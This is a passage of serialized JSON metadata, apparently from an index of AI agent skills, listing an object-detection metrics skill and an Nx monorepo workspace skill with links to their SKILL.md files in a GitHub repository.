VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":56},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]